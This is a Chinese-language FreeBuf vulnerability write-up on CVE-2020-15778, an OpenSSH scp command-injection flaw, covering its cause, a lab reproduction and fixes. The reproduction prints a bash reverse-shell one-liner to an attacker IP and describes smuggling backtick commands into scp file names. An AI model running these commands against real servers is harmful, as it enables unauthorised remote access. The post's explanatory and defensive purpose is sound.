freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

OpenSSH 命令注入漏洞
frost729 2021-01-06 21:55:32 230244

漏洞说明

漏洞编号:CVE-2020-15778

SCP(secure copy)是一个在两台计算机之间拷贝文件的程序,使用ssh协议实现。默认包含在大多数的linux和unix发行版中。该程序由openssh的scp.c及其他相关代码实现。

出现漏洞的根本原因在于,scp.c文件的某个位置中,对远程命令参数没有做好过滤,导致可远程执行任意命令。详细分析,往下看。

利用条件

1. 目标服务器openssh版本<=openssh-8.3 p1

2. 目标服务器scp可用

3. 目标服务器ssh密码已知

漏洞危害

可在目标服务器上传脚本,执行任意命令,getshell。

利用场景

在已知ssh密码,但禁止ssh远程登陆的情况下,可尝试利用该漏洞,getshell。

漏洞分析

分析如下链接中,scp.c的第989行代码:

https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

1609939398_5ff5b9c6b8eeb18b8d80a.png!small

从以上代码中可知,当使用scp复制文件到远程服务器时,在scp命令后面添加文件的路径,命令如下:

scp SourceFile user@host:directory/TargetFile

在远程目标服务器上,上述命令将会按照下面的形式本地执行:

scp -t directory/TargetFile

在目标服务器创建本地scp命令的同时,并没有过滤文件名。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令。目标服务器将会执行反引号中的命令。

漏洞复现

攻击机 kali192.168.110.128
受害机centos192.168.110.130

在kali上创建一个名为kali.sh的文件,用来getshell。kali.sh文件内容:

bash -i >& /dev/tcp/192.168.110.128/4444 0>&1

1609921634_5ff574623c473318c51e4.png!small

反弹shell命令解析如下:

命令 说明
bash -i产生一个交互式bash
>& /dev/tcp/192.168.110.128/4444建立TCP连接,并将标准输出和错误重定向到TCP连接
0>&1从TCP连接获取输入


将kali.sh文件通过scp命令,远程传输到centos中的指定目录下:

1609922140_5ff5765c6046de0068ae3.png!small

在centos中可找到传输的kali.sh文件:

1609921744_5ff574d0d09c73861d392.png!small

在kali上监听4444端口:

1609922311_5ff57707e1ed6ba01fde9.png!small

执行下面的poc,执行上传的反弹shell:

1609922354_5ff57732cf66256e94737.png!small

可观察到,kali已经成功连接到centos:

1609922436_5ff5778437277fffb575c.png!small

在linux中,反引号中的内容将会被当作shell命令执行。要注意,这里poc中用的是反引号,不是单引号。

漏洞修复

1. 更新openssh到最新版本

2. 禁用scp

3. 确保ssh密码的安全性,防止被泄露或暴力破解

# web安全 # 系统安全 # 漏洞分析 # 网络安全技术
本文为 frost729 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
frost729 LV.1
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 1 关注者
Redis未授权访问漏洞分析
2020-12-05
文章目录